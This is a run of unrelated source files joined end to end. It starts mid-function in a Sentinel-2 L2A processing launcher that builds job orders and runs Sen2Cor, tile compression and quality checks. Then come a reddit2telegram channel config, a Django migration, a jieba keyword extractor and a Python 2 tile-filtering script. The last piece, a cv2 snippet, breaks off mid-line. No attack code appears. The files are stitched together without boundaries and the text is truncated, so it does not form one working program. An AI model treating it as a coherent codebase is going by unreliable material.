JobOrderReader.Ipf_Job_OrderType(da_conf, procs) content = joborder_dom_to_string(joborder).getvalue() content = content.replace(" ", " ") content = content.replace(' xmlns:ipf_base="http://gs2.esa.int/DICO/1.0/IPF/base/" ', '') return content # Create a jobOrder def create_JobOrder_FORMAT_METADATA_DS_L2A(arch_center, proc_baseline, proc_center, gip_jp2, gip_olqcpa, product, acquisition_station, sensing_time_start, sensing_time_stop, working, report, output): print("Creating JobOrder for FORMAT_METADATA_DS_L2A...") parameters = [] parameters.append(JobOrderReader.Processing_Parameter("ARCHIVING_CENTER", arch_center)) parameters.append(JobOrderReader.Processing_Parameter("PROCESSING_BASELINE", proc_baseline)) parameters.append(JobOrderReader.Processing_Parameter("PROCESSING_CENTER", proc_center)) parameters.append(JobOrderReader.Processing_Parameter("FAKE_MODE", "false")) parameters.append(JobOrderReader.Processing_Parameter("VALIDATE_SCHEMA", "false")) parameters.append(JobOrderReader.Processing_Parameter("TRACE", "false")) da_conf = JobOrderReader.Ipf_ConfType() da_Config_Files = JobOrderReader.Config_FilesType() da_conf.set_Config_Files(da_Config_Files) da_conf.set_Processor_Name("Chain") da_conf.set_Version("02.09.00") da_conf.set_Test(False) da_conf.set_Acquisition_Station(acquisition_station) da_conf.set_Processing_Station(proc_center) da_conf.set_Sensing_Time(JobOrderReader.Sensing_TimeType(sensing_time_start, sensing_time_stop)) da_conf.set_Dynamic_Processing_Parameters(JobOrderReader.Dynamic_Processing_ParametersType(parameters)) # Build inputs da_inputs = JobOrderReader.List_of_InputsType() # add products nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(product) nt.set_count(1) product_input = JobOrderReader.InputType("PDI_DS", "Directory", nt) da_inputs.add_Input(product_input) # add gip olqcpa nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_olqcpa) nt.set_count(1) olqcpa_input = JobOrderReader.InputType("GIP_OLQCPA", "Physical", nt) da_inputs.add_Input(olqcpa_input) # add gip JP2KPA nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_jp2) nt.set_count(1) probas_input = JobOrderReader.InputType("GIP_JP2KPA", "Physical", nt) da_inputs.add_Input(probas_input) # add WORKING, Directory nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(working) nt.set_count(1) if not os.path.exists(working): print("[Output] WORKING_DIR must be created in %s" % working) os.mkdir(working) working_input = JobOrderReader.InputType("WORKING", "Directory", nt) da_inputs.add_Input(working_input) da_inputs.set_count(4) # Build outputs da_outputs = JobOrderReader.List_of_OutputsType() # add outputDir working_output = JobOrderReader.OutputType(True, "PDI_DS", "Directory", output) da_outputs.add_Output(working_output) # add REPORT working_output = JobOrderReader.OutputType(True, "REPORT", "Physical", report) da_outputs.add_Output(working_output) da_outputs.set_count(2) procs = JobOrderReader.List_of_Ipf_ProcsType() proc = JobOrderReader.Ipf_Proc() proc.set_Task_Name("FORMAT_METADATA_DS_L2A") proc.set_Task_Version("04.04.01") proc.set_List_of_Inputs(da_inputs) proc.set_List_of_Outputs(da_outputs) procs.add_Ipf_Proc(proc) procs.count = 1 joborder = JobOrderReader.Ipf_Job_OrderType(da_conf, procs) content = joborder_dom_to_string(joborder).getvalue() content = content.replace(" ", " ") content = content.replace(' xmlns:ipf_base="http://gs2.esa.int/DICO/1.0/IPF/base/" ', '') return content # create a fake tile list file def create_tile_list_file(filename, tile_id): # create fake tile list file tile_list_file = open(filename, "w") tile_list_file.write("") tile_list_file.write( "") tile_list_file.write("1") tile_list_file.write("") tile_list_file.write("" + tile_id + "") tile_list_file.write("") tile_list_file.write("") tile_list_file.close() def tar_directory(src_dir, target): tar_process_code = subprocess.call( ["tar", "hcf", target, "-C", os.path.dirname(src_dir), os.path.basename(src_dir)], shell=False) if tar_process_code != 0: raise IOError("Can't tar " + src_dir + " to " + target) def main(): parser = argparse.ArgumentParser( description='Launch L2A processor', # main description for help epilog='Beta') # displayed after help parser.add_argument("-j", "--joborder", help="Specify the joborder file (xml file)", required=True) parser.add_argument("-m", "--mode", help="Specify the mode ( DS or TL)", required=True) args = parser.parse_args() if args.joborder is None: raise Exception("No joborder specified") if args.mode == "TL": mode = "TL" elif args.mode == "DS": mode = "DS" else: raise Exception("Mode should be either TL or DS") job = JobOrderReaderNew.parse(args.joborder, silence=True) job_options = job.get_Ipf_Conf().get_Dynamic_Processing_Parameters().get_Processing_Parameter() processing_baseline = None archiving_center = None processing_center = None resolution = None debug = False for opt in job_options: if opt.get_Name() == "ARCHIVING_CENTER": archiving_center = opt.get_Value() if opt.get_Name() == "PROCESSING_CENTER": processing_center = opt.get_Value() if opt.get_Name() == "TRACE": debug = opt.get_Value() == "true" # Get job orer proc job_proc = job.get_List_of_Ipf_Procs().get_Ipf_Proc() datastrip = None tile = None output_ds = None output_tl = None output_kpi = None gip_l2a = None gip_sc = None gip_ac = None gip_pb = None gip_olqc = None gip_jp2 = None work = None sen2cor_installdir = None compresstile_installdir = None format_mtd_ds_l2a_installdir = None format_mtd_tl_l2a_installdir = None olqc_installdir = None dateoflogs = datetime.datetime.now().strftime("%Y%m%d%H%M%S") for proc in job_proc: if proc.get_Task_Name() == "Sen2Cor": job_inputs = proc.get_List_of_Inputs().get_Input() for input in job_inputs: if input.get_File_Type() == "MSI_L1C_DS": datastrip = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "MSI_L1C_TL": tile = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_L2ACFG": gip_l2a = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_L2ACSC": gip_sc = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_L2ACAC": gip_ac = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_PROBA2": gip_pb = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_OLQCPA": gip_olqc = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "GIP_JP2KPA": gip_jp2 = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "WORKING": work = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "SEN2COR_DIR_INSTALL": sen2cor_installdir = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "COMPRESS_TILE_IMAGE_DIR_INSTALL": compresstile_installdir = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "OLQC_DIR_INSTALL": olqc_installdir = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "FORMAT_METADATA_DS_DIR_INSTALL": format_mtd_ds_l2a_installdir = input.get_List_of_File_Names().get_File_Name()[0] if input.get_File_Type() == "FORMAT_METADATA_TL_DIR_INSTALL": format_mtd_tl_l2a_installdir = input.get_List_of_File_Names().get_File_Name()[0] job_outputs = proc.get_List_of_Outputs().get_Output() for output in job_outputs: if output.get_File_Type() == "MSI_L2A_DS": output_ds = output.get_File_Name() if output.get_File_Type() == "MSI_L2A_TL": output_tl = output.get_File_Name() if output.get_File_Type() == "KPI_L2A": output_kpi = output.get_File_Name() print("Launching datastrip Sen2Cor") if datastrip is None: raise Exception("No MSI_L1C_DS found in JobOrder") elif not os.path.exists(datastrip): raise Exception("MSI_L1C_DS found in JobOrder does not exists : " + datastrip) if mode == "TL": if tile is None: raise Exception("No MSI_L1C_TL found in JobOrder") elif not os.path.exists(tile): raise Exception("MSI_L1C_TL found in JobOrder does not exists : " + tile) if gip_l2a is None: raise Exception("No GIP_L2ACFG found in JobOrder") elif not os.path.exists(gip_l2a): raise Exception("GIP_L2ACFG found in JobOrder does not exists : " + gip_l2a) if gip_sc is None: raise Exception("No GIP_L2ACSC found in JobOrder") elif not os.path.exists(gip_sc): raise Exception("GIP_L2ACSC found in JobOrder does not exists : " + gip_sc) if gip_ac is None: raise Exception("No GIP_L2ACAC found in JobOrder") elif not os.path.exists(gip_ac): raise Exception("GIP_L2ACAC found in JobOrder does not exists : " + gip_ac) if gip_pb is None: raise Exception("No GIP_PROBA2 found in JobOrder") elif not os.path.exists(gip_pb): raise Exception("GIP_PROBA2 found in JobOrder does not exists : " + gip_pb) if gip_olqc is None: raise Exception("No GIP_OLQCPA found in JobOrder") elif not os.path.exists(gip_olqc): raise Exception("GIP_OLQCPA found in JobOrder does not exists : " + gip_olqc) if gip_jp2 is None: raise Exception("No GIP_JP2KPA found in JobOrder") elif not os.path.exists(gip_jp2): raise Exception("GIP_JP2KPA found in JobOrder does not exists : " + gip_jp2) if work is None: raise Exception("No WORKING found in JobOrder") elif not os.path.exists(work): raise Exception("WORKING found in JobOrder does not exists : " + work) if sen2cor_installdir is None: raise Exception("No SEN2COR_DIR_INSTALL found in JobOrder") elif not os.path.exists(sen2cor_installdir): raise Exception("SEN2COR_DIR_INSTALL found in JobOrder does not exists : " + sen2cor_installdir) if olqc_installdir is None: raise Exception("No OLQC_DIR_INSTALL found in JobOrder") elif not os.path.exists(olqc_installdir): raise Exception("OLQC_DIR_INSTALL found in JobOrder does not exists : " + olqc_installdir) if compresstile_installdir is None: raise Exception("No COMPRESS_TILE_IMAGE_DIR_INSTALL found in JobOrder") elif not os.path.exists(compresstile_installdir): raise Exception( "COMPRESS_TILE_IMAGE_DIR_INSTALL found in JobOrder does not exists : " + compresstile_installdir) if format_mtd_ds_l2a_installdir is None: raise Exception("No FORMAT_METADATA_DS_DIR_INSTALL found in JobOrder") elif not os.path.exists(format_mtd_ds_l2a_installdir): raise Exception( "FORMAT_METADATA_DS_DIR_INSTALL found in JobOrder does not exists : " + format_mtd_ds_l2a_installdir) if format_mtd_tl_l2a_installdir is None: raise Exception("No FORMAT_METADATA_TL_DIR_INSTALL found in JobOrder") elif not os.path.exists(format_mtd_tl_l2a_installdir): raise Exception( "FORMAT_METADATA_TL_DIR_INSTALL found in JobOrder does not exists : " + format_mtd_tl_l2a_installdir) if mode == "DS": if output_ds is None: raise Exception("No MSI_L2A_DS found in JobOrder outputs") elif not os.path.exists(output_ds): raise Exception("MSI_L2A_DS found in JobOrder does not exists : " + output_ds) if mode == "TL": if output_tl is None: raise Exception("No MSI_L2A_TL found in JobOrder outputs") elif not os.path.exists(output_tl): raise Exception("MSI_L2A_TL found in JobOrder does not exists : " + output_tl) if output_kpi is None: raise Exception("No KPI_L2A found in JobOrder outputs") elif not os.path.exists(output_kpi): raise Exception("KPI_L2A found in JobOrder does not exists : " + output_kpi) # Read datastrip info datastrip_mtd = FileUtils.glob_one(datastrip, "S2*MTD_L1C*xml") datastrip_reader = DatastripReader.DatastripReader(datastrip_mtd) ds_sensing_start = datastrip_reader.get_sensing_start() ds_sensing_stop = datastrip_reader.get_sensing_stop() ds_reception_station = datastrip_reader.get_reception_station() # prepare Sen2Cor setup sen2cor_env = os.environ.copy() sen2cor_env.pop("LD_LIBRARY_PATH", None) sen2cor_env.pop("PYTHONPATH", None) sen2cor_env.pop("PYTHONHOME", None) sen2cor_env.pop("PYTHONEXECUTABLE", None) sen2cor_env.pop("PYTHONUSERBASE", None) sen2cor_env["SEN2COR_HOME"] = work sen2cor_env["SEN2COR_BIN"] = os.path.join(sen2cor_installdir, "lib/python2.7/site-packages/sen2cor") # set numeric locale to C sen2cor_env["LC_NUMERIC"] = "C" # set GDAL_DATA sen2cor_env["GDAL_DATA"] = os.path.join(sen2cor_installdir, "share/gdal") sen2cor_env["GDAL_DRIVER_PATH"] = "disable" print(sen2cor_env) global_start_time = datetime.datetime.now() # working dir start_time = datetime.datetime.now() work_sen2core_ds = os.path.join(work, "Sen2Core_tmp_ds_"+dateoflogs) work_ds = os.path.join(work_sen2core_ds, "DS") sen2cor_env["SEN2COR_HOME"] = work_sen2core_ds os.makedirs(work_ds) print("sen2cor install dir= " + sen2cor_installdir) print("datastrip=" + datastrip) print("work_dir=" + work_sen2core_ds) print("output_dir=" + work_ds) print("processing_centre=" + processing_center) print("archiving_centre=" + archiving_center) print("GIP_L2A=" + gip_l2a) print("GIP_L2A_PB=" + gip_pb) print("GIP_L2A_AC=" + gip_ac + " --GIP_L2A_SC=" + gip_sc) print("Launching Sen2cor " + sen2cor_installdir + "in datastrip mode") err_code = system_utils.launch_command( os.path.join(sen2cor_installdir, "bin/python2.7") + " -s " + os.path.join(sen2cor_installdir, "lib/python2.7/site-packages/sen2cor/L2A_Process.py") + " --mode=generate_datastrip " + " --datastrip=" + datastrip + " --work_dir=" + work_sen2core_ds + " --output_dir=" + work_ds + " --processing_centre=" + processing_center + " --archiving_centre=" + archiving_center + " --GIP_L2A=" + gip_l2a + " --GIP_L2A_PB=" + gip_pb + " --GIP_L2A_AC=" + gip_ac + " --GIP_L2A_SC=" + gip_sc, env=sen2cor_env) if err_code != 0: raise Exception("Error while running datastrip Sen2Cor mode") # Find the output datastip temp_sen_ds = FileUtils.glob_one(work_ds, "*L2A_DS*") if temp_sen_ds is None: raise Exception("No datastrip found in the Sen2Cor datastrip output directory") print("L2A datastrip found : " + temp_sen_ds) print("L2A Sen2Cor Datastrip done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") if mode == "DS": start_time = datetime.datetime.now() ## Launch the FORMAT_METADATA_DS_L2A work_format_ds = os.path.join(work, "format_mdt_ds_"+dateoflogs) os.makedirs(work_format_ds) # Create the JobOrder job_order_content = create_JobOrder_FORMAT_METADATA_DS_L2A(archiving_center, "03.01", processing_center, gip_jp2, gip_olqc, work_ds, ds_reception_station, ds_sensing_start, ds_sensing_stop, work_format_ds, os.path.join(work_format_ds, "format_MTD_DS_L2A_report.xml"), work_ds) job_order_filename = work_format_ds + os.sep + "JobOrder_FORMAT_METADATA_DS_L2A.xml" with open(job_order_filename, "w") as fh: fh.write(job_order_content) print("JobOrder writed in " + job_order_filename) err_code = system_utils.launch_command( os.path.join(format_mtd_ds_l2a_installdir, "scripts/FORMAT_METADATA_DS_L2A.bash") + " " + job_order_filename) if err_code != 0: raise Exception("Error while running FORMAT_METADATA_DS_L2A mode") print("L2A Format datastrip done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") ## Launch the OLQC start_time = datetime.datetime.now() work_olqc = os.path.join(work, "olqc_"+dateoflogs) os.makedirs(work_olqc) # Create the JobOrder product_list = [] product_list.append(temp_sen_ds) job_order_content = create_JobOrder_OLQC(gip_pb, gip_olqc, os.path.join(work_olqc, "PERSISTENT_RESOURCES"), product_list, work_olqc, os.path.join(work_olqc, "olqc_report.xml")) job_order_filename = work_olqc + os.sep + "JobOrder_OLQC.xml" with open(job_order_filename, "w") as fh: fh.write(job_order_content) print("JobOrder writed in " + job_order_filename) err_code = system_utils.launch_command( os.path.join(olqc_installdir, "scripts/OLQC.bash") + " " + job_order_filename) if err_code != 0: raise Exception("Error while running OLQC mode") print("L2A OLQC DS done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") ## Generated the Inventory file work_inventory = os.path.join(work, "inventory_"+dateoflogs) os.makedirs(work_inventory) inventory_log_file = os.path.join(work_inventory,"inventoryDS.log") inventory_err_file = os.path.join(work_inventory,"inventoryDS.err") inventory_proc = InventoryL2A.InventoryL2A(inventory_log_file, inventory_err_file) inventory_proc.inventory_l2a_ds("20212121", ds_reception_station,work_inventory, temp_sen_ds,datastrip) # Tar the product to the output try: tar_directory(temp_sen_ds, os.path.join(output_ds, os.path.basename(temp_sen_ds) + ".tar")) except: print("Error while tar " + temp_sen_ds + " to " + output_ds) # Copy the KPIs mtd_ds_l2a = FileUtils.glob_one(temp_sen_ds, "MTD_DS.xml") kpi_mtd_ds_l2a = os.path.join(output_kpi, os.path.basename(temp_sen_ds)+"_MTD_DS.xml") print("Copy "+mtd_ds_l2a+" to "+kpi_mtd_ds_l2a) shutil.copyfile(mtd_ds_l2a, kpi_mtd_ds_l2a) kpi_proba2 = os.path.join(output_kpi, os.path.basename(gip_pb)) print("Copy " + gip_pb + " to " + kpi_proba2) shutil.copyfile(gip_pb, kpi_proba2) # IdpInfos kpi_idp_infos = os.path.join(output_kpi, os.path.basename(temp_sen_ds)+"_idp_infos.xml") template_idp_infos = os.path.join(os.path.dirname(os.path.realpath(__file__)), "idp_infos.xml") idp_info_hdl = IdpInfos.IdpInfos(template_idp_infos) idp_info_hdl.add("Sen2Cor", "02.09.00") idp_info_hdl.add("OLQC", "04.04.00") idp_info_hdl.add("CompressTileImage", "04.04.02") idp_info_hdl.add("FORMAT_METADATA_DS_L2A", "04.04.01") idp_info_hdl.add("FORMAT_METADATA_TILE_L2A", "04.04.01") idp_info_hdl.write_to_file(kpi_idp_infos) # End print("L2A DS done in : " + str( (datetime.datetime.now() - global_start_time).seconds) + " seconds") return # Tile mode start_time = datetime.datetime.now() work_sen2core_tl = os.path.join(work, "Sen2Core_tmp_tl_"+dateoflogs) work_tl = os.path.join(work_sen2core_tl, "TL") os.makedirs(work_tl) sen2cor_env["SEN2COR_HOME"] = work_sen2core_tl img_database = os.path.join(work_sen2core_tl, "img_database") res_database = os.path.join(work_sen2core_tl, "res_database") print("img_database: " + img_database) print("res_database: " + res_database) err_code = system_utils.launch_command(os.path.join(sen2cor_installdir, "bin/python2.7") + " -s " + os.path.join(sen2cor_installdir, "lib/python2.7/site-packages/sen2cor/L2A_Process.py") + " --mode=process_tile " + " --resolution=10 " + " --datastrip=" + temp_sen_ds + " --processing_centre=" + processing_center + " --archiving_centre=" + archiving_center + " --work_dir=" + work_sen2core_tl + " --output_dir=" + work_tl + " --tile=" + tile + " --GIP_L2A=" + gip_l2a + " --GIP_L2A_PB=" + gip_pb + " --GIP_L2A_AC=" + gip_ac + " --GIP_L2A_SC=" + gip_sc + " --img_database_dir=" + img_database + " --res_database_dir=" + res_database + " --raw", env=sen2cor_env) if err_code != 0: raise Exception("Error while running tile Sen2Cor mode") temp_sen_tl = FileUtils.glob_one(work_tl, "*L2A_TL*") print("L2A Sen2Cor Tile done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") ## Launch CompressTileImage start_time = datetime.datetime.now() compress_tile_env = os.environ.copy() compress_tile_env["PYTHONPATH"] = os.path.join(compresstile_installdir, "lib/python/") # for each rawl do compress # 10m rawl_files = FileUtils.glob_all(os.path.join(temp_sen_tl, "IMG_DATA/R10m"), "*rawl") if rawl_files is not None: for f in rawl_files: out_file = os.path.splitext(f)[0] + ".jp2" print("Compressing : " + f + " to " + out_file) # find the associated gml file gml_file = os.path.splitext(f)[0] + ".gml" hdr_file = os.path.splitext(f)[0] + ".hdr" if not os.path.exists(gml_file): raise Exception("Gml File : " + gml_file + " not found") err_code = system_utils.launch_command( os.path.join(compresstile_installdir, "scripts/compress_tile_image") + " --input " + f + " --jp2kpa " + gip_jp2 + " --box " + gml_file + " --output " + out_file + " --work_dir " + work, env=compress_tile_env) if err_code != 0: raise Exception("Error while running CompressTileImage") # Remove unwanted files try: os.remove(f) except: raise Exception("Unable to remove rawl files") try: os.remove(gml_file) except: raise Exception("Unable to remove gml files") try: os.remove(hdr_file) except: raise Exception("Unable to remove hdr files") # 20m rawl_files = FileUtils.glob_all(os.path.join(temp_sen_tl, "IMG_DATA/R20m"), "*rawl") if rawl_files is not None: for f in rawl_files: out_file = os.path.splitext(f)[0] + ".jp2" print("Compressing : " + f + " to " + out_file) # find the associated gml file gml_file = os.path.splitext(f)[0] + ".gml" hdr_file = os.path.splitext(f)[0] + ".hdr" if not os.path.exists(gml_file): raise Exception("Gml File : " + gml_file + " not found") err_code = system_utils.launch_command( os.path.join(compresstile_installdir, "scripts/compress_tile_image") + " --input " + f + " --jp2kpa " + gip_jp2 + " --box " + gml_file + " --output " + out_file + " --work_dir " + work, env=compress_tile_env) if err_code != 0: raise Exception("Error while running CompressTileImage") # Remove unwanted files try: os.remove(f) except: raise Exception("Unable to remove rawl files") try: os.remove(gml_file) except: raise Exception("Unable to remove gml files") try: os.remove(hdr_file) except: raise Exception("Unable to remove hdr files") # 60m rawl_files = FileUtils.glob_all(os.path.join(temp_sen_tl, "IMG_DATA/R60m"), "*rawl") if rawl_files is not None: for f in rawl_files: out_file = os.path.splitext(f)[0] + ".jp2" print("Compressing : " + f + " to " + out_file) # find the associated gml file gml_file = os.path.splitext(f)[0] + ".gml" hdr_file = os.path.splitext(f)[0] + ".hdr" if not os.path.exists(gml_file): raise Exception("Gml File : " + gml_file + " not found") err_code = system_utils.launch_command( os.path.join(compresstile_installdir, "scripts/compress_tile_image") + " --input " + f + " --jp2kpa " + gip_jp2 + " --box " + gml_file + " --output " + out_file + " --work_dir " + work, env=compress_tile_env) if err_code != 0: raise Exception("Error while running CompressTileImage") # Remove unwanted files try: os.remove(f) except: raise Exception("Unable to remove rawl files") try: os.remove(gml_file) except: raise Exception("Unable to remove gml files") try: os.remove(hdr_file) except: raise Exception("Unable to remove hdr files") # QI_DATA rawl_files = FileUtils.glob_all(os.path.join(temp_sen_tl, "QI_DATA/"), "*rawl") if rawl_files is not None: for f in rawl_files: out_file = os.path.splitext(f)[0] + ".jp2" print("Compressing : " + f + " to " + out_file) # find the associated gml file gml_file = os.path.splitext(f)[0] + ".gml" hdr_file = os.path.splitext(f)[0] + ".hdr" if not os.path.exists(gml_file): raise Exception("Gml File : " + gml_file + " not found") err_code = system_utils.launch_command( os.path.join(compresstile_installdir, "scripts/compress_tile_image") + " --input " + f + " --jp2kpa " + gip_jp2 + " --box " + gml_file + " --output " + out_file + " --work_dir " + work, env=compress_tile_env) if err_code != 0: raise Exception("Error while running CompressTileImage") # Remove unwanted files try: os.remove(f) except: raise Exception("Unable to remove rawl files") try: os.remove(gml_file) except: raise Exception("Unable to remove gml files") try: os.remove(hdr_file) except: raise Exception("Unable to remove hdr files") ## Patch the metadata mtd_xml = FileUtils.glob_one(temp_sen_tl, "MTD_TL.xml") err_code = system_utils.launch_command( "sed -i 's+\.rawl<+\.jp2<+' " + mtd_xml) if err_code != 0: raise Exception("Error while running sed on MTD_TL.xml") print("L2A CompressTileImage done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") # Launch the FORMAT_METADATA_TL_L2A start_time = datetime.datetime.now() work_format_tl = os.path.join(work, "format_mdt_tl_"+dateoflogs) os.makedirs(work_format_tl) # find the tile ID # S2B_OPER_MSI_L2A_TL_CAPG_20220108T143614_A025203_T28VDJ_N03.01/ pdi_id = os.path.basename(temp_sen_tl) tile_id = pdi_id[50:55] tile_list_file = os.path.join(work, "tile_list_file.xml") create_tile_list_file(tile_list_file, tile_id) # Create the JobOrder job_order_content = create_JobOrder_FORMAT_METADATA_TL_L2A(archiving_center, "03.01", processing_center, tile_list_file, gip_jp2, gip_olqc, work_tl, ds_reception_station, ds_sensing_start, ds_sensing_stop, work_format_tl, os.path.join(work_format_tl, "format_MTD_TILE_L2A_report.xml"), work_tl) job_order_filename = work_format_tl + os.sep + "JobOrder_FORMAT_METADATA_TILE_L2A.xml" with open(job_order_filename, "w") as fh: fh.write(job_order_content) print("JobOrder writed in " + job_order_filename) err_code = system_utils.launch_command( os.path.join(format_mtd_tl_l2a_installdir, "scripts/FORMAT_METADATA_TILE_L2A.bash") + " " + job_order_filename) if err_code != 0: raise Exception("Error while running FORMAT_METADATA_TILE_L2A mode") print("L2A Format metadata tile done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") ## Launch the OLQC start_time = datetime.datetime.now() work_olqc = os.path.join(work, "olqc_"+dateoflogs) os.makedirs(work_olqc) # Create the JobOrder product_list = [] product_list.append(temp_sen_tl) job_order_content = create_JobOrder_OLQC(gip_pb, gip_olqc, os.path.join(work_olqc, "PERSISTENT_RESOURCES"), product_list, work_olqc, os.path.join(work_olqc, "olqc_report.xml")) job_order_filename = work_olqc + os.sep + "JobOrder_OLQC.xml" with open(job_order_filename, "w") as fh: fh.write(job_order_content) print("JobOrder writed in " + job_order_filename) err_code = system_utils.launch_command( os.path.join(olqc_installdir, "scripts/OLQC.bash") + " " + job_order_filename) if err_code != 0: raise Exception("Error while running OLQC mode") print("L2A OLQC tile done in : " + str( (datetime.datetime.now() - start_time).seconds) + " seconds") # Generated the Inventory file work_inventory = os.path.join(work, "inventory_"+dateoflogs) os.makedirs(work_inventory) inventory_log_file = os.path.join(work_inventory, "inventoryTL.log") inventory_err_file = os.path.join(work_inventory, "inventoryTL.err") inventory_proc = InventoryL2A.InventoryL2A(inventory_log_file, inventory_err_file) inventory_proc.inventory_l2a_tl("20212121", ds_reception_station, work_inventory, temp_sen_tl, tile, temp_sen_ds) # Tar the product to the output try: tar_directory(temp_sen_tl, os.path.join(output_tl, os.path.basename(temp_sen_tl) + ".tar")) except: print("Error while tar " + temp_sen_tl + " to " + output_tl) print("L2A Tile done in : " + str( (datetime.datetime.now() - global_start_time).seconds) + " seconds") if __name__ == "__main__": main() mainyordle/reddit2telegramreddit2telegram/channels/r_latestagecapitalism/app.py #encoding:utf-8 subreddit = 'latestagecapitalism' t_channel = '@r_latestagecapitalism' def send_post(submission, r2t): return r2t.send_simple(submission) pmaigutyak/mp-config # Generated by Django 2.0.6 on 2018-08-10 16:16 from django.db import migrations, models import site_config.models class Migration(migrations.Migration): dependencies = [ ('site_config', '0003_auto_20171023_1207'), ] operations = [ migrations.AddField( model_name='configfield', name='value_html', field=site_config.models.HTMLField(blank=True, null=True, verbose_name='HTML'), ), migrations.AlterField( model_name='configfield', name='name', field=models.CharField(max_length=255, unique=True, verbose_name='Name'), ), migrations.AlterField( model_name='configfield', name='splitter', field=models.CharField(blank=True, choices=[('newline', 'New line'), (',', 'Comma'), ('.', 'Dot'), (';', 'Semicolon'), (' ', 'Tab')], help_text='Доступно тільки для типів: text, input', max_length=10, null=True, verbose_name='Splitter'), ), migrations.AlterField( model_name='configfield', name='type', field=models.CharField(choices=[('input', 'Input'), ('text', 'Text'), ('html', 'HTML'), ('int', 'Integer'), ('float', 'Float'), ('bool', 'True / False'), ('url', 'Url'), ('email', 'Email'), ('file', 'File'), ('image', 'Image'), ('json', 'JSON')], max_length=50, verbose_name='Type'), ), migrations.AlterField( model_name='configfield', name='value_file', field=models.FileField(blank=True, null=True, upload_to='site_config', verbose_name='File'), ), migrations.AlterField( model_name='configfield', name='value_image', field=models.ImageField(blank=True, null=True, upload_to='site_config', verbose_name='Image'), ), migrations.AlterUniqueTogether( name='configfield', unique_together=set(), ), migrations.RemoveField( model_name='configfield', name='site', ), ] import sys import os from FlokAlgorithmLocal import FlokDataFrame, FlokAlgorithmLocal import json import pyarrow import jieba.analyse class Batch_TextExtractKeyWords(FlokAlgorithmLocal): def run(self, inputDataSets, params): topk = params['topK'] keywords_dict = dict() text_dict = inputDataSets.get(0) for text_name, text in text_dict.items(): keyword = jieba.analyse.extract_tags( text, topK=topk, withWeight=False, allowPOS=()) keyword_str = ' '.join(keyword) keywords_dict[text_name] = keyword_str result = FlokDataFrame() result.addDF(keywords_dict) return result if __name__ == "__main__": all_info = json.loads(sys.argv[1]) params = all_info["parameters"] inputPaths = all_info["input"] inputTypes = all_info["inputFormat"] inputLocation = all_info["inputLocation"] outputPaths = all_info["output"] outputTypes = all_info["outputFormat"] outputLocation = all_info["outputLocation"] algorithm = Batch_TextExtractKeyWords() audioList = algorithm.read(inputPaths, inputTypes, inputLocation, outputPaths, outputTypes) result = algorithm.run(audioList, params) algorithm.write(outputPaths, result, outputTypes, outputLocation) explore/peek.py ######## # Initial exploration of feature results from segmentation runs # Use $> python peek.py to execute # Iterates over all tiles in one image, and filters out tiles that # meet a specified condition # Expects rootdir to contain subdirectories corresponding to individual images, # and that each subdirectory contains feature results in per-tile csv files named *features.csv import os import csv tile_size = 4096 tile_area = tile_size * tile_size rootdir = "/data/shared/jlogan/wensi20170523/luad" allfiles = os.listdir(rootdir) imgdirs = [f for f in allfiles if not f.endswith(".svs") ] print "Images:" print imgdirs ######## ## Select a single image to examine its features ## Use this to select an image by indexing the directory #imgroot = "%s/%s"%(rootdir,imgdirs[7]) ## OR, use this to select an image by name #imgroot = "%s/%s"%(rootdir,"TCGA-J2-8194-01Z-00-DX1.7700924D-B6AF-46A7-A7D7-B5C17A66C5F7") imgroot = "%s/%s"%(rootdir,"TCGA-62-A46S-01Z-00-DX1.7A8A6F38-76EA-4F43-BC03-1C42E6787E33") allimgdata = os.listdir(imgroot) csvfiles = [f for f in allimgdata if f.endswith("features.csv")] for f in csvfiles: obj_count = 0 max_area = 0 line_no = 0 total_area = 0 max_blueStd = 0 with open("%s/%s"%(imgroot,f) ) as featurefile: csv.field_size_limit(2000000) # Large number to accomodate results with VERY large polygon descriptors reader = csv.DictReader(featurefile) for row in reader: obj_count = obj_count + 1 this_area = int(float(row['AreaInPixels'])) # convert to float first to handle scientific notation this_blueStd = float(row['StdB']) # convert to float first to handle scientific notation if this_area > max_area: max_area = this_area if this_blueStd > max_blueStd and this_area > 20000: max_blueStd = this_blueStd total_area = total_area + this_area pct_area = 100*total_area/float(tile_area) max_pct_area = 100*max_area/float(tile_area) # Extract URL components from filename # x pos is between '_x' and '_y', y pos is between '_y' and '-' img_end = f.find ('.', f.find('.')+1) #Ends at the second '.' img_id = f[0:img_end] xp = f.find('_x') yp = f.find('_y') zp = f.find('-', yp) x = f[xp+2:yp] y = f[yp+2:zp] url = "http://172.16.17.32/camicroscope/osdCamicroscope.php?tissueId=%s&x=%s&y=%s&zoom=20" % (img_id, x, y) if obj_count > 0: #if max_blueStd > 0: # print "blueStd is %s"%max_blueStd ######## # Adjust filtering condition and output here: #if (max_pct_area>10 or max_pct_area < 0.5) and pct_area>20.0: if (max_pct_area>2 and max_pct_area<3): #print "***" print "Processing tile", f print url print "Tile has %s objects"%obj_count print "Maximum object area is %s"%max_area print "Maximum object area percentage is %s"%max_pct_area print "Total object area is %s"%total_area print "Percent object coverage area is %s%%"%pct_area import cv2 cap = cv2.VideoCapture(0) fourcc = cv2.VideoWriter_fourcc(*'DIVX') out = 